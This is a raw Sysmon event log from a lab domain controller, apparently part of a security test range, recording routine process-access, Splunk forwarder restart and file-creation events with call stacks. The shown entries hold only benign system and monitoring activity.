09:11:39.650{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004561Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004560Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004559Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004558Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-294B-5F80-EE00-000000007F01}1172C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004557Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28CF-5F80-2F00-000000007F01}25284016C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-294B-5F80-EE00-000000007F01}1172C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+77c1aa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+b08def|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+dd792a|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+dd534e|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+1a2a848|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004556Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.663{A5F018FF-294B-5F80-EE00-000000007F01}1172C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exesplunk _relaunch restart --accept-license --answer-yes --no-prompt --waitonpid=2528C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 11241100x80000000000000004555Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:11:39.618{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\wpcap.dll2020-10-09 09:11:39.618 11241100x80000000000000004554Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:11:39.618{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\vcruntime140.dll2020-10-09 09:11:39.618 11241100x80000000000000004553Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:11:39.618{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\vccorlib140.dll2020-10-09 09:11:39.618 11241100x80000000000000004552Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:11:39.493{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe2020-10-09 09:11:39.493 11241100x80000000000000004551Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:11:39.478{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\qmprotocols.dll2020-10-09 09:11:39.478 11241100x80000000000000004550Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:11:39.478{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\qmframework.dll2020-10-09 09:11:39.478 11241100x80000000000000004549Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:11:39.478{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\qmflow.dll2020-10-09 09:11:39.478 11241100x80000000000000004548Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.478{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\npf.sys2020-10-09 09:11:39.478 11241100x80000000000000004547Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:11:39.478{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\msvcp140.dll2020-10-09 09:11:39.478 11241100x80000000000000004546Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:11:39.462{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\concrt140.dll2020-10-09 09:11:39.462 11241100x80000000000000004545Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:11:39.462{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\Packet.dll2020-10-09 09:11:39.462 10341000x80000000000000004706Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.946{A5F018FF-28BF-5F80-1400-000000007F01}12961380C:\Windows\System32\svchost.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1440C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|c:\windows\system32\ncbservice.dll+2f95|c:\windows\system32\ncbservice.dll+4609|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004705Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.946{A5F018FF-28BF-5F80-1400-000000007F01}12961380C:\Windows\System32\svchost.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1440C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|c:\windows\system32\ncbservice.dll+2f95|c:\windows\system32\ncbservice.dll+2e77|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004704Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.915{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004703Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.915{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004702Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.915{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004701Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.509{A5F018FF-294C-5F80-F800-000000007F01}4588748C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004700Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294C-5F80-F800-000000007F01}4588C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004699Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004698Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004697Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004696Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004695Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004694Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004693Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004692Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004691Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-294C-5F80-F800-000000007F01}4588C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004690Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 